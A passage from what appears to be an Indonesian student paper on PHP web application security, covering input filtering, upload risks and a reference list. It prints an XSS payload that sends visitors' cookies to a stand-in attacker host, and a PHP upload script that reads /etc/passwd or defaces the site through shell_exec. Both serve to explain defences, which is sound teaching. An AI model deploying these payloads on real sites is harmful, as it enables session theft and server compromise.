yang kemudian disimpan dalam database lalu ditampilkan untuk dapat dilihat oleh
pengunjung lain. Jika user iseng, user dapat merusak tampilan web karena dia
memasukan tag-tag HTML, misalnya memasukan kode <img src="image.jpg">
untuk menampilkan gambar yang sangat besar atau memasukan kode <!-- sehingga
sebagian tampilan web tidak muncul atau mungkin user memasukan kode javascript
yang akan menggangu pengunjung lain.
Dengan menggunakan client side scripting seperti javascript, sebuah sesion
dapat dicuri dengan cara ini. Misalkan sebuah web based mail menampilkan subject
email dengan cara :
<? echo "<TD>Subject : ". $subject ."</TD>"?>
Dengan memberikan subject yang berisi kode javascript seperti ini :
<s cript>
self. location.href="http://attackerhost.org/cookiegrab.html?cookies="+escape(document.cookie)
</s cript>
maka informasi session/cookie dapat dikirim ke website attacker.
Abd.Thalib - 23202112
Untuk menghindari tag-tag HTML yang dapat merusak tampilan/layout
website, atau menghindai implantasi scripting seperti diatas, kita dapat men-disable
tag-tag tersebut. Kita dapat memilih tag-tag apa saya yang diperbolehkan dengan
fungsi strip_tags() sehingga tag yagn tidak diperbolehkan ditampilkan sebagaimana
adanya dan tidak diparsing oleh browser sebagai kode HTML.
Atau dapat juga mengubah setiap karakter "<" dan ">" menjadi "<" dan ">"
yang merupakan kode karakter HTML untuk tanda lebih kecil dan lebih besar
dengan fungsi htmlspecialchars() atau fungsi eregi_replace().
b). Batasi ukuran data yang dikirim ke server atau yang dimasukkan ke database.
Jika kita membuat suatu aplikasi guestbook misalnya, tentu saja kita tidak mau
pengunjung dapat mengisi guestbook dengan tulisan yang sangat panjang sekali.
Oleh karena itu ada baiknya berfikir untuk selalu membatasi fasilitas untuk user.
c). Filter kata-kata kotor (bad words). Mungkin ini tidak ada hubungannya dengan
kemanan sistem, tapi jika anda ingin membangun website yang 'baik' sebaiknya
hidari kata-kata sembarangan yang bisa diposting oleh user.
d). Cegah flooding. Kita dapat menggunakan fasilitas session untuk mencegah agar
user hanya dapat mengirimkan data sekali atau beberapa kali saja. Ini sangat
berguna misalnya pada halaman polling untuk memperkecil kemungkinan user
memanipulasi data dengan men-submit terus-menerus.
e). Cegah mekanisme upload file PHP yang dapat dieksekusi kemudian dengan
dipanggil lewat URL. Jika seseorang menupload file seperti dibawah ini :
<?php
$cmd = "cat /etc/passwd"; // atau
$cmd ="echo
"HACKED\">".dirname($_SERVER['PATH_TRANSLATED'])."/hacked.html";
$h = shell_exec($cmd);
echo $h;
?>
Apabila file tersebut bisa dipanggil lewat URL maka script tersebut dapat
dieksekusi oleh PHP dan hasilnya ... BOOM !
Abd.Thalib - 23202112
BAB III
KESIMPULAN
Semua software aplikasi web tak terkecuali PHP, memiliki titik lemah
dalam hal keamanan. Umumnya lubang keamanan pada aplikasi web dengan PHP
berkaitan dengan penggunaan variabel auto global dan konfigurasi skrip php yang
dibangun.
Dengan penelitian yang seksama pada titik-titik lemah tersebut, banyak
lubang kemanan dalam aplikasi menggunakan skrip PHP dapat dihindari,
diantaranya sebagai beikut :
1. hindari penggunaan variabel saat mengakses file,
2. jangan 100% percaya dengan variabel global,
3. hindari upload yang salah,
4. gunakan ekstensi .php untuk semua file skrip,
5. hati-hati terhadap penggunaan server yang sama,
6. hindari pengetikan skrip yang ruwet dan semaunya.
Abd.Thalib - 23202112
DAFTAR PUSTAKA
1. Clancy Malcolm, Ten Security Check For PHP, Website,
http://www.onlamp.com/pub/a/php/2003/03/20/php_security.htm
2. Jordan Dimov,On The Security Of PHP, Website
http://www.developer.com/lang/php/article.php/922871
3. Sufehmi, Harry, Security di PHP, Website
http://www.tf.itb.ac.id/~eryan/Php/PHPSecurity.txt
4. John Coggeshall ,PHP Security,Website http://www.onlamp/pub/au/135
5. Kadir, Abdul, Dasr Penmrograman Web Dinamis Menggunakan PHP, Andi,
Yogyakarta, 2002.
Abd.Thalib - 23202112
Download